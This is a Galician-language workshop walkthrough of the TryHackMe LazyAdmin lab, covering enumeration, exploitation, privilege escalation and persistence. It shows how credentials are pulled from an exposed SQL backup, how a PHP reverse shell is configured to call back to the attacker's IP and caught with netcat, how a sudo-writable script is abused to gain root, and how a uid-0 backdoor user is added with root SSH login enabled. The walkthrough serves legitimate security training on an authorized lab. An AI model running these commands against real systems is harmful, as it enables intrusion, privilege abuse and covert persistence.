Ir ao contido

Práctica Taller: LazyAdmin (TryHackMe) – Pentest completo paso a paso

De interese

  • Ás rooms pódese acceder mediante AttackBox ou VPN.
    Fig. AttackBox ou VPN
  • As contas Free soamente poderán iniciar o AttackBox gratuíto unha hora ao día. Debes abonarte para acceso ilimitado a AttackBox.
  • Se se accede por AttackBox xa conectas dende o propia navegador a unha máquina atacante, con moitas ferramentas preinstaladas, a cal posúe conectividade coa máquina vítima(room).
  • Se se accede por VPN debes configurar a túa propia máquina para o ataque e conectar dende ela, por VPN, á máquina vítima(room).
  • Usa a máquina desta room como práctica inicial antes de abordar máquinas máis complexas.

Obxectivo

Realizar un test de intrusión completo (6 fases) sobre a máquina, desde enumeración ata explotación, persistencia e redacción do informe.


Pasos básicos

  1. Configurar en VirtualBox unha máquina Kali Linux coa rede en modo NAT.
    Fig. Configuración en VirtualBox

  2. Arrancar a máquina Kali Linux:

    • Acceder a TryHackMe e facer clic en Join Room
    • Arrancar a máquina facendo clic en Start Machine
    • Picar na icona de interrogación para saber como acceder á máquina unha vez obtida a IP.
    • Detectar vulnerabilidades en servizos e/ou aplicacións.
    • Explorar un vector de ataque e conseguir acceso ao sistema.
    • Recoller información do sistema.
    • Conseguir contido ficheiro user.txt
    • Elevación de privilexios e conseguir acceso coma root.
    • Conseguir contido ficheiro root.txt
  3. Elaborar un informe final coas evidencias obtidas.

Fases dun test de intrusión (Pentest)

Fig. Fases Pentest


Fase 1: Recopilación de información

Prerrequisito

Arrancar a máquina Kali Linux na primeira opción de arranque.

  1. Acceder a LazyAdmin - TryHackMe e facer clic en Join Room:
    Fig. LazyAdmin - Join Room

  2. Arrancar a máquina facendo clic en Start Machine:
    Fig. LazyAdmin - Start Machine

  3. Picar na icona de interrogación para saber como acceder á máquina unha vez obtida a IP:
    Fig. LazyAdmin - Info para acceder

Opción 1. Acceder mediante AttackBox

  1. Picar en Start AttackBox e esperar a que apareza a máquina:
    Fig. LazyAdmin - Info para acceder Fig. LazyAdmin - Info para acceder Fig. LazyAdmin - Info para acceder

  2. Logo, proceder de forma análoga a partir da Opción 2 - apartado D.

Opción 2. Acceder mediante VPN

A. Picar en See Instructions:
Fig. LazyAdmin - Info para acceder
B. Picar en Download configuration file:
Fig. LazyAdmin - Info para acceder

Se se descarga por primeira vez

Picar de novo Download configuration file para descargar o ficheiro de configuración VPN.

C. Unha vez descargado o ficheiro .vpn correspondente ao teu usuario abrir unha consola e executar:

setxkbmap es
sudo openvpn username.vpn

sudo openvpn username.vpn

Lanza o cliente OpenVPN usando o ficheiro de configuración username.vpn. O que sucede en concreto:

  • sudo — require permisos de root para crear a interface de rede virtual (tun0) e modificar táboas de ruteo.
  • openvpn username.vpn — OpenVPN le o ficheiro .vpn (contén certificado/clave, servidor, portas, rutas, DNS, etc.) e establece a conexión coa infraestrutura de TryHackMe.
  • Ao conectar: créase unha interface tun0 (ou similar), aplícanse rutas e DNS proporcionadas polo servidor, e o teu tráfico cara ás IPs do lab pasa pola VPN.
  • Resultado práctico: podes executar ping, nmap e acceder (ssh, web, etc.) ás máquinas da room como se estiveseches na mesma rede do lab.
  • Comprobación rápida noutra consola: ip a (ver tun0) e ip route / ping <IP-da-machine> para asegurarte de conectividade.
  • Para deter a conexión VPN: Ctrl+C na terminal onde corre OpenVPN (ou mata o proceso).

Aviso/boas prácticas

Non deixes a VPN activa cando non a uses.
Usa isto só para labs autorizados (TryHackMe/CTF).

D. Comprobación de conectividade e detección do sistema operativo. Así, executar na anterior consola:

IP de TryHackMe servida para esta máquina

No caso de execución deste procedemento a IP servida foi: 10.10.127.68, pero no voso caso pode variar. Tédeo en conta para o seguimento desta práctica.

ping -c1 10.10.127.68 -R

TTL

  • TTL ≃ 64 ⇒ GNU/Linux
  • TTL ≃ 128 ⇒ Microsoft Windows
    Como podemos observar na saída do comando ping estamos ante unha máquina obxectivo GNU/Linux. Fig. TTL

E. Escaneo básico con Nmap:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.127.68
Fig. Recoñecemento con nmap

nmap -sC -sV -oA lazyadmin-scan 10.10.127.68
Fig. Numeración de servizos e versións

Fase 2: Análise de vulnerabilidades

Identificación de servizos vulnerábeis:

  • Servizos atopados: SSH e Apache

Dende a máquina Kali GNU/Linux emprega varias ferramentas para obter información:
- whatweb é unha ferramenta de fingerprinting web que identifica tecnoloxías, cabeceras e versións dun servidor HTTP a partir dunha URL ou enderezo IP.

whatweb 10.10.127.68
Fig. whatweb IP
- dirb é unha ferramenta de descubrimento de directorios/ficheiros web que usa wordlists para forzar URLs e localizar rutas ocultas nun servidor HTTP.
dirb http://10.10.127.68
Fig. dirb IP
Con esta ferramenta atopamos rutas no servidor que podemos explorar, como: http://10.10.127.68/content/
Así, visitando esa URL no navegador atopamos a aplicación SweetRice.
Fig. firefox http://IP/content/
Tamén poderiamos executar de novo o comando whatweb nesa URL:
whatweb http://10.10.127.68/content/
Fig. whatweb http://IP/content/
Voltamos a executar de novo o comando dirb sobre esa URL para seguir descubrindo directorios/ficheiros atopando, entre outras, as seguintes URLs:
1. http://10.10.127.68/content/as/ -> Atopamos o panel de login da aplicación SweetRice Fig. Panel de Login
2. http://10.10.127.68/content/inc/ -> Atopamos un directorio interesante de backups.
Fig. Directorio de backups
3. http://10.10.127.68/content/inc/mysql_backup/ -> Atopamos un ficheiro de backup de sql, o cal descargamos.
Fig. Ficheiro backup
Ao descargar ese ficheiro, buscamos se podemos obter credenciais:
grep -iE 'admin/passwd' mysql_bakup_20191129023059-1.5.1.sql
Atopamos as seguintes credenciais:
Usuario admin: manager
Password: Password123
Fig. Credenciais atopadas
Accedemos ao panel de login da ferramenta, introducimos as credenciais e estamos dentro da aplicación.
Fig. Login: manager/Password123
Se observamos no panel esquerdo vemos a versión desta aplicación: 1.5.1
Fig. SweetRice - version 1.5.1
- searchsploit para buscar exploits relacionados con sweetrice:
searchsploit sweetrice
Fig. content

Exploits atopados

Podemos observar que atopamos varios exploits para a versión 1.5.1, sendo a principio moi interesante o de File Upload. Lemos o contido do ficheiro 40716.py co seguinte comando para estudar este exploit:

searchsploit -x 40716.py
Unha vez estudado este exploit continuamos coa fase de Explotación.
Tamén podemos descargar este exploit á ruta local mediante o comando:
searchsploit -m 40716.py


Fase 3: Explotación

Estudando o contido do exploit para esa aplicación atopamos que é vulnerable á subida de arquivos php5 na xeración de Post, entón:

  • Descargamos unha reverse shell php de: GitHub pentestmonkey

  • Modificamos a extensión a php5 e no contido do ficheiro a IP e o porto a escoitar a reverse shell

IP da máquina Kali Linux

No caso de execución deste procedemento a IP da máquina Kali Linux foi: 10.9.1.180, pero no voso caso pode variar. Tédeo en conta para o seguimento desta práctica.

$ ip -o -4 addr show eth0 | awk '{print $4}' | cut -d'/' -f1

cp -pv php-reverse-shell.php shell.php5
grep -i change shell.php5
ip -o -4 addr show tun0 | awk '{print $4}' | cut -d'/' -f1
sed -i -e "s|='127.0.0.1'|='10.9.1.180'|" -e 's/= 1234/= 4444/' shell.php5
Fig. content

  • Accedemos a Post -> Create
    Fig. content

  • Subimos ese arquivo php5, que será accesible en http://10.10.127.68/content/attachments/shell.php5
    Fig. content
    Fig. content
    Fig. content

  • Abrimos outra consola en Kali Linux e pomos o porto TCP anterior en escoita para recoller a shell da máquina vítima:

    nc -nlvp 4444
    

  • No navegador accedemos a http://10.10.127.68/content/attachments/shell.php5 Fig. content

  • Agora, obtemos na consola anterior a reverse shell, na cal facemos un tratamento tty para convertir esta consola nun terminal similar ao que obteriamos se accederamos como usuario a este sistema:

    script /dev/null -c bash
    Ctrl+Z
    stty raw -echo;fg
    reset
    xterm
    export TERM=xterm
    export SHELL=bash
    

Fase 4: Post-explotación

Recolleita de información (datos sensibles):
Dende a consola aberta a través de nc podemos ir recopilando información.

whoami
uname -a
cat /etc/passwd
ls -l /home
ls -lahtr /home/itguy
cat /home/itguy/user.txt
Xa obtemos a flag user.txt

Seguimos:

sudo -l
cat /home/itguy/backup.pl
ls -l /etc/copy.sh
echo sh > /etc/copy.sh
/usr/bin/perl /home/itguy/backup.pl
$ whoami
www-data
$ exit
sudo /usr/bin/perl /home/itguy/backup.pl
# whoami
root
Fig. Persistencia nc profile

Xa somos root, co cal executamos:

ls -l /root
cat /root/root.txt

Xa obtemos a flag root.txt


Agora xa podemos subir os flags atopados a TryHackMe
Fig. Persistencia nc profile

Fase 5: Persistencia

Aínda que as Flags xa se conseguiron...

Podemos intentar conseguir a Persistencia na máquina.

Engadir usuario permanente e ademais facelo root

useradd -m pentester -o -u 0 -g 0
echo 'pentester:abc123.' | chpasswd
id pentester
sed -i 's|PermitRootLogin prohibit-password|PermitRootLogin yes|' /etc/ssh/sshd_config
reboot
Fig. Novo usuario root

Unha vez reiniciada a máquina vemos que podemos acceder mediante ssh co usuario root pentester
Fig. Novo usuario root


Fase 6: Informe final

Seguir o indicado en Informes de Pentesting para obter os informes.

Exemplos nas seccións